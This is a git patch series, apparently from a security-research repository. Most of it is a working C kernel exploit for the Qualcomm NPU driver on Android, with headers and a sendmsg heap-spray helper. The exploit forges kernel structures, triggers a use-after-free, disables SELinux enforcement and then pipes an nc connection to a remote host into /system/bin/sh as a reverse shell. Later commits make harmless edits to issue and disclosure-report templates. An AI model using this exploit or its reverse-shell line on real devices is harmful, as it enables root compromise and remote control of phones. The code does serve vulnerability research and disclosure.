24 + 0x100; + fake_entry->entry.prev = network_buf_address + 24; + + fake_entry = (struct wait_queue_entry*)(&g_stats_buf[0x100]); + fake_entry->private = (void*)0x43434343434242; + fake_entry->func = (wait_queue_func_t)ion_alloc_fd_addr; + fake_entry->entry.next = network_buf_address + 24 + 0x100; + fake_entry->entry.prev = network_buf_address + 24 + 0x100; + + + //dmabuf->priv + uint64_t* buffer = (uint64_t*)(&g_stats_buf[0] + PRIV_OFF); + *buffer = network_buf_address + 0x2000; + //buffer->heap, ldr x8, [x20,#0x20] + uint64_t* buffer_heap = (uint64_t*)(&g_stats_buf[0x2000] + HEAP_OFF); + *buffer_heap = network_buf_address + 0x1000; + //buffer->heap->ops + uint64_t* buffer_heap_ops = (uint64_t*)(&g_stats_buf[0x1000] + OPS_OFF); + *buffer_heap_ops = network_buf_address + 0x1500; + //buffer->heap->ops->map_kernel + + uint64_t* fake_map_kernel = (uint64_t*)(&g_stats_buf[0x1500] + MAP_OFF); + *fake_map_kernel = 0x45454545454545; + + uint64_t* fake_unmap_kernel = (uint64_t*)(&g_stats_buf[0x1500] + UNMAP_OFF); + *fake_unmap_kernel = host_irq_wq_offset - HOST_IRQ_WQ + BPF_PROG_RUN32; + + //buffer->kmap_cnt + uint32_t* kmap_cnt = (uint32_t*)(&g_stats_buf[0x2000] + CNT_OFF); + *kmap_cnt = 1; + + if (init_reallocation(rta, 4)) { + err(1, "[-] failed to initialize reallocation!\n"); + } + npu_unload_network(npu_fd, network_hdl); + realloc_NOW(); + close(npu_fd); + close(ion_fd); + reset(); + return network_buf_address; +} + +void trigger_uaf(uint64_t network_buf_addr) { + struct network_exec_param network_exec_param; + struct realloc_thread_arg rta[NB_REALLOC_THREADS]; + printf("[+] trigger uaf\n"); + + int ion_fd = open_dev("/dev/ion"); + + migrate_to_cpu(FAST_CPU); + + int npu_fd = open_dev("/dev/msm_npu"); + int ion_alloc_fd = allocate_ion(ion_fd, 0x1000); + uint64_t npu_phys_addr = npu_map_buf(npu_fd, ion_alloc_fd, 0x1000); + uint32_t network_hdl = npu_load_network_v2(npu_fd, ion_alloc_fd, npu_phys_addr); + + network_exec_param.npu_fd = npu_fd; + network_exec_param.ion_alloc_fd = ion_alloc_fd; + network_exec_param.npu_phys_addr = npu_phys_addr; + network_exec_param.network_hdl = network_hdl; + + struct npu_client* npu_client = (struct npu_client*)(&g_realloc_data[0]); + npu_client->npu_dev = (uint32_t*)0xabababab; + //wait_queue_head + //spinlock + npu_client->wait.lock.owner = 0; + npu_client->wait.lock.next = 0; + npu_client->list_lock.wait_list.prev = 0x404040404040; + npu_client->list_lock.wait_list.next = 0x404040404040; + npu_client->evt_list.next = network_buf_addr; + npu_client->evt_list.prev = network_buf_addr; + npu_client->wait.head.next = network_buf_addr + 24; + npu_client->wait.head.prev = 0x42424242424242; + + memset(rta, 0, sizeof(rta)); + for (int i = 0; i < NB_REALLOC_THREADS; i++) { + rta[i].realloc_data = &(g_realloc_data[0]); + rta[i].object_size = OBJECT_SIZE; + rta[i].cpu = FAST_CPU; + } + + if (init_reallocation(rta, NB_REALLOC_THREADS)) { + err(1, "[-] failed to initialize reallocation!\n"); + } + npu_exec_network_v2(&network_exec_param, 1); + usleep(10000); + close(ion_fd); + reset(); +} + +int overwrite_se(uint64_t host_irq_wq_offset) { + uint64_t network_buf_addr = leak_and_populate_controlled_buffer(host_irq_wq_offset); + trigger_uaf(network_buf_addr); + char result = '2'; + usleep(10000); + int enforce_fd = open_dev("/sys/fs/selinux/enforce"); + read(enforce_fd, &result, 1); + close(enforce_fd); + if (result == '0') { + printf("[+] successfully overwritten selinux_enforcing\n"); + char buffer[200]; + sprintf(buffer, "/system/bin/nc %s 4446|/system/bin/sh", HOST_IP); + char* argv[] = { "/system/bin/sh", "-c" , buffer, NULL}; + char *envp[] = { + "HOME=/", + "PATH=/sbin:/bin:/usr/sbin:/usr/bin", + NULL + }; + + execve("/system/bin/sh",argv,envp); + return 0; + } + printf("[-] failed to overwrite selinux_enforcing\n"); + return -1; +} + +int main() { + setbuf(stdout, NULL); + setbuf(stderr, NULL); + pid_t pid = 1; + + uint64_t host_irq_wq_offset = 0; + for (int i = 0; i < 100; i++) { + host_irq_wq_offset = compute_kaslr_offset(); + if (host_irq_wq_offset) break; + } + if (!host_irq_wq_offset) { + err(1, "Failed to obtain offset\n"); + } + printf("[+] host_irq_wq offset: %lx\n", host_irq_wq_offset); + pid = fork(); + while (pid == 0) { + if (!overwrite_se(host_irq_wq_offset)) exit(0); + pid = fork(); + } + exit(0); +} diff --git a/SecurityExploits/Android/Qualcomm/NPU/npu_shell.h b/SecurityExploits/Android/Qualcomm/NPU/npu_shell.h new file mode 100644 index 0000000..51bd48a --- /dev/null +++ b/SecurityExploits/Android/Qualcomm/NPU/npu_shell.h @@ -0,0 +1,381 @@ +#ifndef NPU_SPLOIT_H +#define NPU_SPLOIT_H + +#include +#include +#include +#include +#include +#include +#include +#include + + +#define QSEECOM_IOC_MAGIC 0x97 +#define QSEECOM_IOCTL_RECEIVE_REQ _IO(QSEECOM_IOC_MAGIC, 5) + +enum ion_heap_ids { + INVALID_HEAP_ID = -1, + ION_CP_MM_HEAP_ID = 8, + ION_SECURE_HEAP_ID = 9, + ION_SECURE_DISPLAY_HEAP_ID = 10, + ION_CP_MFC_HEAP_ID = 12, + ION_SPSS_HEAP_ID = 13, /* Secure Processor ION heap */ + ION_SECURE_CARVEOUT_HEAP_ID = 14, + ION_CP_WB_HEAP_ID = 16, /* 8660 only */ + ION_QSECOM_TA_HEAP_ID = 19, //CMA_heap + ION_CAMERA_HEAP_ID = 20, /* 8660 only */ + ION_SYSTEM_CONTIG_HEAP_ID = 21, + ION_ADSP_HEAP_ID = 22, //CMA_heap + ION_PIL1_HEAP_ID = 23, /* Currently used for other PIL images */ + ION_SF_HEAP_ID = 24, + ION_SYSTEM_HEAP_ID = 25, + ION_PIL2_HEAP_ID = 26, /* Currently used for modem firmware images cma_heap*/ + ION_QSECOM_HEAP_ID = 27, //CMA_heap + ION_AUDIO_HEAP_ID = 28, + + ION_MM_FIRMWARE_HEAP_ID = 29, + ION_GOOGLE_HEAP_ID = 30, + + ION_HEAP_ID_RESERVED = 31 /** Bit reserved for ION_FLAG_SECURE flag */ +}; + +enum ion_heap_type { + ION_HEAP_TYPE_SYSTEM, + ION_HEAP_TYPE_SYSTEM_CONTIG, + ION_HEAP_TYPE_CARVEOUT, + ION_HEAP_TYPE_CHUNK, + ION_HEAP_TYPE_DMA, + ION_HEAP_TYPE_CUSTOM, /* + * must be last so device specific heaps always + * are at the end of this enum + */ + ION_NUM_HEAPS = 16, +}; + +#define ION_HEAP_SYSTEM_MASK ((1 << ION_HEAP_TYPE_SYSTEM)) +#define ION_HEAP_SYSTEM_CONTIG_MASK ((1 << ION_HEAP_TYPE_SYSTEM_CONTIG)) +#define ION_HEAP_CARVEOUT_MASK ((1 << ION_HEAP_TYPE_CARVEOUT)) +#define ION_HEAP_TYPE_DMA_MASK ((1 << ION_HEAP_TYPE_DMA)) + +#define ION_FLAGS_CP_MASK 0x6FFE8000 + +#define ION_NUM_HEAP_IDS (sizeof(unsigned int) * 8) +#define ION_FLAG_CACHED 1 +#define ION_FLAG_CACHED_NEEDS_SYNC 2 +struct ion_allocation_data { + size_t len; + unsigned int heap_id_mask; + unsigned int flags; + uint32_t fd; + uint32_t unused; +}; + +struct ion_custom_data { + unsigned int cmd; + unsigned long arg; +}; + +#define ION_IOC_MAGIC 'I' + +#define ION_IOC_ALLOC _IOWR(ION_IOC_MAGIC, 0, \ + struct ion_allocation_data) + +#define ION_IOC_FREE _IOWR(ION_IOC_MAGIC, 1, struct ion_handle_data) + +#define ION_IOC_MAP _IOWR(ION_IOC_MAGIC, 2, struct ion_fd_data) + +#define ION_IOC_SHARE _IOWR(ION_IOC_MAGIC, 4, struct ion_fd_data) + +#define ION_IOC_IMPORT _IOWR(ION_IOC_MAGIC, 5, struct ion_fd_data) + +#define ION_IOC_SYNC _IOWR(ION_IOC_MAGIC, 7, struct ion_fd_data) + +#define ION_IOC_CUSTOM _IOWR(ION_IOC_MAGIC, 6, struct ion_custom_data) + +#define ION_BIT(nr) (1UL << (nr)) + +#define ION_HEAP(bit) ION_BIT(bit) + +struct dma_buf_sync { + __u64 flags; +}; + +#define DMA_BUF_SYNC_READ (1 << 0) +#define DMA_BUF_SYNC_WRITE (2 << 0) +#define DMA_BUF_SYNC_RW (DMA_BUF_SYNC_READ | DMA_BUF_SYNC_WRITE) +#define DMA_BUF_SYNC_START (0 << 2) +#define DMA_BUF_SYNC_END (1 << 2) +#define DMA_BUF_SYNC_VALID_FLAGS_MASK \ + (DMA_BUF_SYNC_RW | DMA_BUF_SYNC_END) + +#define DMA_BUF_BASE 'b' +#define DMA_BUF_IOCTL_SYNC _IOW(DMA_BUF_BASE, 0, struct dma_buf_sync) + +#define MSM_NPU_IOCTL_MAGIC 'n' + +struct msm_npu_map_buf_ioctl { + /* buffer ion handle */ + int32_t buf_ion_hdl; + /* buffer size */ + uint32_t size; + /* iommu mapped physical address */ + uint64_t npu_phys_addr; +}; + +#define MSM_NPU_MAP_BUF _IOWR(MSM_NPU_IOCTL_MAGIC, 2, struct msm_npu_map_buf_ioctl) + +struct msm_npu_unmap_buf_ioctl { + /* buffer ion handle */ + int32_t buf_ion_hdl; + /* iommu mapped physical address */ + uint64_t npu_phys_addr; +}; + +#define MSM_NPU_UNMAP_BUF _IOWR(MSM_NPU_IOCTL_MAGIC, 3, struct msm_npu_unmap_buf_ioctl) + +struct msm_npu_load_network_ioctl { + /* buffer ion handle */ + int32_t buf_ion_hdl; + /* physical address */ + uint64_t buf_phys_addr; + /* buffer size */ + uint32_t buf_size; + /* first block size */ + uint32_t first_block_size; + /* reserved */ + uint32_t flags; + /* network handle */ + uint32_t network_hdl; + /* priority */ + uint32_t priority; + /* perf mode */ + uint32_t perf_mode; +}; + +#define MSM_NPU_LOAD_NETWORK _IOWR(MSM_NPU_IOCTL_MAGIC, 4, struct msm_npu_load_network_ioctl) + +#define PROP_PARAM_MAX_SIZE 8 + +struct msm_npu_property { + uint32_t prop_id; + uint32_t num_of_params; + uint32_t network_hdl; + uint32_t prop_param[PROP_PARAM_MAX_SIZE]; +}; + +#define MSM_NPU_SET_PROP _IOW(MSM_NPU_IOCTL_MAGIC, 10, struct msm_npu_property) + +#define MSM_NPU_MAX_INPUT_LAYER_NUM 8 + +#define MSM_NPU_MAX_OUTPUT_LAYER_NUM 4 + +struct msm_npu_patch_info { + /* chunk id */ + uint32_t chunk_id; + /* instruction size in bytes */ + uint16_t instruction_size_in_bytes; + /* variable size in bits */ + uint16_t variable_size_in_bits; + /* shift value in bits */ + uint16_t shift_value_in_bits; + /* location offset */ + uint32_t loc_offset; +}; + +struct msm_npu_layer { + /* layer id */ + uint32_t layer_id; + /* patch information*/ + struct msm_npu_patch_info patch_info; + /* buffer handle */ + int32_t buf_hdl; + /* buffer size */ + uint32_t buf_size; + /* physical address */ + uint64_t buf_phys_addr; +}; + +struct msm_npu_exec_network_ioctl { + /* network handle */ + uint32_t network_hdl; + /* input layer number */ + uint32_t input_layer_num; + /* input layer info */ + struct msm_npu_layer input_layers[MSM_NPU_MAX_INPUT_LAYER_NUM]; + /* output layer number */ + uint32_t output_layer_num; + /* output layer info */ + struct msm_npu_layer output_layers[MSM_NPU_MAX_OUTPUT_LAYER_NUM]; + /* patching is required */ + uint32_t patching_required; + /* asynchronous execution */ + uint32_t async; + /* reserved */ + uint32_t flags; +}; + +#define MSM_NPU_EXEC_NETWORK _IOWR(MSM_NPU_IOCTL_MAGIC, 6, struct msm_npu_exec_network_ioctl) + +#define MSM_NPU_PROP_ID_START 0x100 + +#define MSM_NPU_PROP_ID_FW_STATE (MSM_NPU_PROP_ID_START + 0) + +struct msm_npu_load_network_ioctl_v2 { + /* physical address */ + uint64_t buf_phys_addr; + /* patch info(v2) for all input/output layers */ + uint64_t patch_info; + /* buffer ion handle */ + int32_t buf_ion_hdl; + /* buffer size */ + uint32_t buf_size; + /* first block size */ + uint32_t first_block_size; + /* load flags */ + uint32_t flags; + /* network handle */ + uint32_t network_hdl; + /* priority */ + uint32_t priority; + /* perf mode */ + uint32_t perf_mode; + /* number of layers in the network */ + uint32_t num_layers; + /* number of layers to be patched */ + uint32_t patch_info_num; + /* reserved */ + uint32_t reserved; +}; + +struct msm_npu_exec_network_ioctl_v2 { + /* stats buffer to be filled with execution stats */ + uint64_t stats_buf_addr; + /* patch buf info for both input and output layers */ + uint64_t patch_buf_info; + /* network handle */ + uint32_t network_hdl; + /* asynchronous execution */ + uint32_t async; + /* execution flags */ + uint32_t flags; + /* stats buf size allocated */ + uint32_t stats_buf_size; + /* number of layers to be patched */ + uint32_t patch_buf_info_num; + /* reserved */ + uint32_t reserved; +}; + +struct msm_npu_unload_network_ioctl { + /* network handle */ + uint32_t network_hdl; +}; + +struct msm_npu_event_execute_done { + uint32_t network_hdl; + int32_t exec_result; +}; + +struct msm_npu_event_execute_v2_done { + uint32_t network_hdl; + int32_t exec_result; + /* stats buf size filled */ + uint32_t stats_buf_size; +}; + +struct msm_npu_event_ssr { + uint32_t network_hdl; +}; + +struct msm_npu_event { + uint32_t type; + union { + struct msm_npu_event_execute_done exec_done; + struct msm_npu_event_execute_v2_done exec_v2_done; + struct msm_npu_event_ssr ssr; + uint8_t data[128]; + } u; + uint32_t reserved[4]; +}; + +struct msm_npu_patch_buf_info { + /* physical address to be patched */ + uint64_t buf_phys_addr; + /* buffer id */ + uint32_t buf_id; +}; + +struct msm_npu_patch_info_v2 { + /* patch value */ + uint32_t value; + /* chunk id */ + uint32_t chunk_id; + /* instruction size in bytes */ + uint32_t instruction_size_in_bytes; + /* variable size in bits */ + uint32_t variable_size_in_bits; + /* shift value in bits */ + uint32_t shift_value_in_bits; + /* location offset */ + uint32_t loc_offset; +}; + + +/* load network v2 */ +#define MSM_NPU_LOAD_NETWORK_V2 \ + _IOWR(MSM_NPU_IOCTL_MAGIC, 7, struct msm_npu_load_network_ioctl_v2) + +/* exec network v2 */ +#define MSM_NPU_EXEC_NETWORK_V2 \ + _IOWR(MSM_NPU_IOCTL_MAGIC, 8, struct msm_npu_exec_network_ioctl_v2) + +#define MSM_NPU_UNLOAD_NETWORK \ + _IOWR(MSM_NPU_IOCTL_MAGIC, 5, struct msm_npu_unload_network_ioctl) + +#define MSM_NPU_RECEIVE_EVENT \ + _IOR(MSM_NPU_IOCTL_MAGIC, 9, struct msm_npu_event) + +struct spinlock_t { + uint16_t owner; + uint16_t next; +}; + +struct list_head { + uint64_t next, prev; +}; + +struct wait_queue_head { + struct spinlock_t lock; + struct list_head head; +}; + +typedef struct wait_queue_head wait_queue_head_t; + +typedef int (*wait_queue_func_t)(void *wq_entry, unsigned mode, int flags, void *key); + +struct wait_queue_entry { + uint32_t flags; + void *private; + wait_queue_func_t func; + struct list_head entry; +}; + +struct mutex { + uint64_t owner; + struct spinlock_t wait_lock; + struct list_head wait_list; +}; + +struct npu_client { + uint32_t *npu_dev; + wait_queue_head_t wait; + + struct mutex list_lock; + struct list_head evt_list; + struct list_head mapped_buffer_list; +}; + +#endif + + diff --git a/SecurityExploits/Android/Qualcomm/NPU/sendmsg_spray.c b/SecurityExploits/Android/Qualcomm/NPU/sendmsg_spray.c new file mode 100644 index 0000000..80c1c1b --- /dev/null +++ b/SecurityExploits/Android/Qualcomm/NPU/sendmsg_spray.c @@ -0,0 +1,193 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "sendmsg_spray.h" + +#define CPU_SETSIZE 1024 +#define __NCPUBITS (8 * sizeof (unsigned long)) +typedef struct +{ + unsigned long __bits[CPU_SETSIZE / __NCPUBITS]; +} cpu_set_t; + +#define CPU_SET(cpu, cpusetp) \ + ((cpusetp)->__bits[(cpu)/__NCPUBITS] |= (1UL << ((cpu) % __NCPUBITS))) +#define CPU_ZERO(cpusetp) \ + memset((cpusetp), 0, sizeof(cpu_set_t)) + +void migrate_to_cpu(int i) +{ + int syscallres; + pid_t pid = gettid(); + cpu_set_t cpu; + CPU_ZERO(&cpu); + CPU_SET(i, &cpu); + + syscallres = syscall(__NR_sched_setaffinity, pid, sizeof(cpu), &cpu); + if (syscallres) + { + err(1, "Error in the syscall setaffinity"); + } +} + +int init_realloc_data(char* realloc_data, size_t obj_size) { + struct cmsghdr *first; + + // necessary to pass checks in __scm_send() + first = (struct cmsghdr*) realloc_data; + first->cmsg_len = obj_size; + first->cmsg_level = 0; + first->cmsg_type = 1; + return 0; +} + +int init_unix_sockets(struct realloc_thread_arg * rta) { + struct timeval tv; + static int sock_counter = 0; + + if (((rta->recv_fd = socket(AF_UNIX, SOCK_DGRAM, 0)) < 0) || + ((rta->send_fd = socket(AF_UNIX, SOCK_DGRAM, 0)) < 0)) + { + perror("[-] socket"); + goto fail; + } + + memset(&rta->addr, 0, sizeof(rta->addr)); + rta->addr.sun_family = AF_UNIX; + sprintf(rta->addr.sun_path + 1, "sock_%x_%d", gettid(), ++sock_counter); + if (bind(rta->recv_fd, (struct sockaddr*)&rta->addr, sizeof(rta->addr))) + { + perror("[-] bind"); + goto fail; + } + + if (connect(rta->send_fd, (struct sockaddr*)&rta->addr, sizeof(rta->addr))) + { + perror("[-] connect"); + goto fail; + } + + memset(&tv, 0, sizeof(tv)); + if (setsockopt(rta->recv_fd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv))) { + err(1, "setsockopt"); + } + + return 0; +fail: + printf("[-] failed to initialize UNIX sockets!\n"); + return -1; +} + +static volatile size_t g_nb_realloc_thread_ready = 0; +static volatile size_t g_realloc_now = 0; + +static void* realloc_thread(void *arg) +{ + struct realloc_thread_arg *rta = (struct realloc_thread_arg*) arg; + struct msghdr mhdr; + char buf[200]; + + // initialize msghdr + struct iovec iov = { + .iov_base = buf, + .iov_len = sizeof(buf), + }; + memset(&mhdr, 0, sizeof(mhdr)); + mhdr.msg_iov = &iov; + mhdr.msg_iovlen = 1; + + // the thread should inherit main thread cpumask, better be sure and redo-it! + migrate_to_cpu(rta->cpu); + + // make it block + while (sendmsg(rta->send_fd, &mhdr, MSG_DONTWAIT) > 0) + ; + if (errno != EAGAIN) + { + perror("[-] sendmsg"); + goto fail; + } + + // use the arbitrary data now + iov.iov_len = 16; // don't need to allocate lots of memory in the receive queue + mhdr.msg_control = (void*)(rta->realloc_data); // use the ancillary data buffer + mhdr.msg_controllen = rta->object_size; + + g_nb_realloc_thread_ready++; + + while (!g_realloc_now) // spinlock until the big GO! + ; + // the next call should block while "reallocating" + if (sendmsg(rta->send_fd, &mhdr, 0) < 0) + { + perror("[-] sendmsg"); + goto fail; + } + + return NULL; + +fail: + printf("[-] REALLOC THREAD FAILURE!!!\n"); + return NULL; +} + +int init_reallocation(struct realloc_thread_arg *rta, size_t nb_reallocs) +{ + int thread = 0; + int ret = -1; + + if (init_realloc_data(rta->realloc_data, rta->object_size)) + { + printf("[-] failed to initialize reallocation data!\n"); + goto fail; + } + printf("[+] reallocation data initialized!\n"); + + printf("[ ] initializing reallocation threads, please wait...\n"); + for (thread = 0; thread < nb_reallocs; ++thread) + { + if (init_unix_sockets(&rta[thread])) + { + printf("[-] failed to init UNIX sockets!\n"); + goto fail; + } + + if ((ret = pthread_create(&rta[thread].tid, NULL, realloc_thread, &rta[thread])) != 0) + { + perror("[-] pthread_create"); + goto fail; + } + } + + while (g_nb_realloc_thread_ready < nb_reallocs) + sched_yield(); + + printf("[+] %lu reallocation threads ready!\n", nb_reallocs); + + return 0; + +fail: + printf("[-] failed to initialize reallocation\n"); + return -1; +} + +void reset() { + g_realloc_now = 0; + g_nb_realloc_thread_ready = 0; +} + +void realloc_NOW(void) +{ + g_realloc_now = 1; + sched_yield(); // don't run me, run the reallocator threads! + sleep(5); +} + diff --git a/SecurityExploits/Android/Qualcomm/NPU/sendmsg_spray.h b/SecurityExploits/Android/Qualcomm/NPU/sendmsg_spray.h new file mode 100644 index 0000000..b371477 --- /dev/null +++ b/SecurityExploits/Android/Qualcomm/NPU/sendmsg_spray.h @@ -0,0 +1,27 @@ +#ifndef SENDMSG_SPRAY_H +#define SENDMSG_SPRAY_H +#include +#include +#include +#include + +struct realloc_thread_arg +{ + pthread_t tid; + int recv_fd; + int send_fd; + struct sockaddr_un addr; + char* realloc_data; + size_t object_size; + int cpu; +}; + +void migrate_to_cpu(int i); + +int init_reallocation(struct realloc_thread_arg *rta, size_t nb_reallocs); + +void reset(); + +void realloc_NOW(void); + +#endif From 7f080fbc1148770fc62b06e83f7c423f0b5dec41 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Alvaro=20Mu=C3=B1oz?= Date: Wed, 10 Nov 2021 10:28:47 +0100 Subject: [PATCH 060/140] Apply suggestions from code review Co-authored-by: Xavier RENE-CORAIL --- .github/ISSUE_TEMPLATE/all-for-one.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/ISSUE_TEMPLATE/all-for-one.yml b/.github/ISSUE_TEMPLATE/all-for-one.yml index 6fde3ce..636c2c5 100644 --- a/.github/ISSUE_TEMPLATE/all-for-one.yml +++ b/.github/ISSUE_TEMPLATE/all-for-one.yml @@ -42,7 +42,7 @@ body: attributes: label: CWE description: CWE that best fits the vulnerability class modeled with your query - placeholder: ex. CWE-502: Deserialization of Untrusted Data + placeholder: "ex. CWE-502: Deserialization of Untrusted Data" validations: required: false - type: textarea From 226ecf19c3351d9bdacf4856dbc08e5f2ef07076 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Alvaro=20Mu=C3=B1oz=20Sanchez?= Date: Wed, 10 Nov 2021 10:30:32 +0100 Subject: [PATCH 061/140] move CVE list section up --- .github/ISSUE_TEMPLATE/all-for-one.yml | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/.github/ISSUE_TEMPLATE/all-for-one.yml b/.github/ISSUE_TEMPLATE/all-for-one.yml index 636c2c5..125a381 100644 --- a/.github/ISSUE_TEMPLATE/all-for-one.yml +++ b/.github/ISSUE_TEMPLATE/all-for-one.yml @@ -37,6 +37,17 @@ body: - C# validations: required: true + - type: textarea + id: cve_ids + attributes: + label: CVE(s) ID list + description: Enter a list of the CVE ID(s) associated with this query, one bullet for each distinct CVE. GitHub will automatically link CVE IDs to the [GitHub Advisory Database](https://github.com/advisories). If the result(s) is **NOT YET** fixed **nor disclosed**, and you are still waiting for a CVE, then you can privately share your result via email to [security@github.com](mailto:security@github.com?subject=[BugBounty]%20Issue%20#000%20useful%20result) + placeholder: | + ex. + - [CVE-20nn-xxxx]() + - [CVE-20nn-yyyy]() + validations: + required: true - type: input id: cwe attributes: @@ -74,14 +85,3 @@ body: description: If you have already blogged about your query, please provide a link. validations: required: false - - type: textarea - id: cve_ids - attributes: - label: CVE(s) ID list - description: Enter a list of the CVE ID(s) associated with this query, one bullet for each distinct CVE. GitHub will automatically link CVE IDs to the [GitHub Advisory Database](https://github.com/advisories). If the result(s) is **NOT YET** fixed **nor disclosed**, and you are still waiting for a CVE, then you can privately share your result via email to [security@github.com](mailto:security@github.com?subject=[BugBounty]%20Issue%20#000%20useful%20result) - placeholder: | - ex. - - [CVE-20nn-xxxx]() - - [CVE-20nn-yyyy]() - validations: - required: true From e4ca7bba29cc70b6f0421f85a15a72f623476eb4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Alvaro=20Mu=C3=B1oz=20Sanchez?= Date: Wed, 10 Nov 2021 10:34:16 +0100 Subject: [PATCH 062/140] move placeholders to new lines --- .github/ISSUE_TEMPLATE/all-for-one.yml | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/.github/ISSUE_TEMPLATE/all-for-one.yml b/.github/ISSUE_TEMPLATE/all-for-one.yml index 125a381..2bb242f 100644 --- a/.github/ISSUE_TEMPLATE/all-for-one.yml +++ b/.github/ISSUE_TEMPLATE/all-for-one.yml @@ -20,7 +20,8 @@ body: attributes: label: Query PR description: Link to pull request with your CodeQL query - placeholder: ex. https://github.com/github/codeql/pull/nnnn + placeholder: | + ex. https://github.com/github/codeql/pull/nnnn validations: required: true - type: dropdown @@ -53,7 +54,8 @@ body: attributes: label: CWE description: CWE that best fits the vulnerability class modeled with your query - placeholder: "ex. CWE-502: Deserialization of Untrusted Data" + placeholder: | + ex. CWE-502: Deserialization of Untrusted Data validations: required: false - type: textarea From a88be72e8c2fbcadf618966681a1d166952e70a6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Alvaro=20Mu=C3=B1oz=20Sanchez?= Date: Wed, 10 Nov 2021 18:23:17 +0100 Subject: [PATCH 063/140] fix incorrect checkbox options --- .github/ISSUE_TEMPLATE/all-for-one.yml | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/.github/ISSUE_TEMPLATE/all-for-one.yml b/.github/ISSUE_TEMPLATE/all-for-one.yml index 2bb242f..1acda3d 100644 --- a/.github/ISSUE_TEMPLATE/all-for-one.yml +++ b/.github/ISSUE_TEMPLATE/all-for-one.yml @@ -73,13 +73,16 @@ body: required: true - type: checkboxes id: social - label: Are you planning to discuss this vulnerability submission publicly? (Blog Post, social networks, etc). *We would love to have you spread the word about the good work you are doing* - validations: - required: true attributes: + label: Are you planning to discuss this vulnerability submission publicly? (Blog Post, social networks, etc). + description: We would love to have you spread the word about the good work you are doing options: - - Yes - - No + - label: Yes + required: true + - label: No + required: true + validations: + required: true - type: input id: social_url attributes: From 424945a05066381d1cc66ba784030b40dac2f212 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Alvaro=20Mu=C3=B1oz=20Sanchez?= Date: Wed, 10 Nov 2021 18:26:34 +0100 Subject: [PATCH 064/140] fix incorrect checkbox options --- .github/ISSUE_TEMPLATE/all-for-one.yml | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/.github/ISSUE_TEMPLATE/all-for-one.yml b/.github/ISSUE_TEMPLATE/all-for-one.yml index 1acda3d..3ca4e5b 100644 --- a/.github/ISSUE_TEMPLATE/all-for-one.yml +++ b/.github/ISSUE_TEMPLATE/all-for-one.yml @@ -77,10 +77,8 @@ body: label: Are you planning to discuss this vulnerability submission publicly? (Blog Post, social networks, etc). description: We would love to have you spread the word about the good work you are doing options: - - label: Yes - required: true - - label: No - required: true + - label: "Yes" + - label: "No" validations: required: true - type: input From 533c25e82f07b1f0a4f0ced21812a1e1fe7232b4 Mon Sep 17 00:00:00 2001 From: Xavier RENE-CORAIL Date: Wed, 10 Nov 2021 20:29:38 +0000 Subject: [PATCH 065/140] Add details to the disclosure policy --- docs/report-template.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/report-template.md b/docs/report-template.md index 495ea06..a69f14b 100644 --- a/docs/report-template.md +++ b/docs/report-template.md @@ -46,7 +46,7 @@ When you use a GitHub Security Advisory, you can request a CVE identification nu ## Credit *List all researchers who contributed to this disclosure.* -*Mention if you found the vulnerability with a specific tool.* +*If you found the vulnerability with a specific tool, you can also credit this tool.* ## Contact @@ -54,4 +54,4 @@ When you use a GitHub Security Advisory, you can request a CVE identification nu ## Disclosure Policy -*Describe or link to your disclosure policy.* \ No newline at end of file +*Describe or link to your disclosure policy. It's important to have a disclosure policy where the public disclosure deadline, and the potential exceptions to it, are clear. You are free to copy and use the [GitHub Security Lab disclosure policy](https://securitylab.github.com/advisories/#policy).* \ No newline at end of file From 4de2dfdc88971b50e21cb07a61e3f9942717bab2 Mon Sep 17 00:00:00 2001 From: Xavier RENE-CORAIL Date: Fri, 12 Nov 2021 09:29:26 -0800 Subject: [PATCH 066/140] Apply suggestion from code review --- docs/report-template.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/report-template.md b/docs/report-template.md index a69f14b..a13fe9a 100644 --- a/docs/report-template.md +++ b/docs/report-template.md @@ -40,7 +40,7 @@ If you are _NOT_ the correct point of contact for this report, please let me kno ## GitHub Security Advisories -We recommend you create a private [GitHub Security Advisory](https://help.github.com/en/github/managing-security-vulnerabilities/creating-a-security-advisory) for these findings. This also allows you to invite me to collaborate and further discuss these findings in private before they are [published](https://help.github.com/en/github/managing-security-vulnerabilities/publishing-a-security-advisory). I will be happy to collaborate with you, and review your fix to make sure that all corner cases are covered. +If possible, please could you create a private [GitHub Security Advisory](https://help.github.com/en/github/managing-security-vulnerabilities/creating-a-security-advisory) for these findings? This allows you to invite me to collaborate and further discuss these findings in private before they are [published](https://help.github.com/en/github/managing-security-vulnerabilities/publishing-a-security-advisory). I will be happy to collaborate with you, and review your fix to make sure that all corner cases are covered. When you use a GitHub Security Advisory, you can request a CVE identification number from GitHub. GitHub usually reviews the request within 72 hours, and the CVE details will be published after you make your security advisory public. Publishing a GitHub Security Advisory and a CVE will help notify the downstream consumers of your project, so they can update to the fixed version. ## Credit From f90f01059df61853ccc197fdd4171545ad2482af Mon Sep 17 00:00:00 2001 From: Xavier RENE-CORAIL Date: Fri, 12 Nov 2021 18:15:04 +0000 Subject: [PATCH 067/140] Embed the disclosure policy directly --- docs/report-template.md | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/docs/report-template.md b/docs/report-template.md index a13fe9a..7420446 100644 --- a/docs/report-template.md +++ b/docs/report-template.md @@ -54,4 +54,12 @@ When you use a GitHub Security Advisory, you can request a CVE identification nu ## Disclosure Policy -*Describe or link to your disclosure policy. It's important to have a disclosure policy where the public disclosure deadline, and the potential exceptions to it, are clear. You are free to copy and use the [GitHub Security Lab disclosure policy](https://securitylab.github.com/advisories/#policy).* \ No newline at end of file +*Describe or link to your disclosure policy. It's important to have a disclosure policy where the public disclosure deadline, and the potential exceptions to it, are clear. You are 